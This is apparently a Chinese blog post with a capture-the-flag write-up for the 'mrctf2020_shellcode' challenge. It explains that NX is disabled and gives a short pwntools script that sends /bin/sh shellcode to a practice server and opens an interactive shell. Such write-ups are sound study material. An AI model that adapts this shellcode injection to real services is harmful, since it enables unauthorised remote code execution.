mrctf2020_shellcode

查看保护,开启了pie,没开NX保护,可以往栈上写shellcode
image
打开ida反汇编发现不行
image
那就直接看汇编,栈的大小是410,read只读入了400,无法造成栈溢出
image
不过也没关系,读入了0x400,已经可以读入shellcode了。直接往栈上写就行

exp
from pwn import *

p=remote("node5.buuoj.cn",27037)
context(arch = 'amd64', os = 'linux', log_level = 'debug')

elf=ELF('./mrctf2020_shellcode')
shellcode=asm(shellcraft.sh())
p.sendline(shellcode)
p.interactive()

posted @ 2025-02-17 22:55  fdddddd  阅读(77)  评论(0)    收藏  举报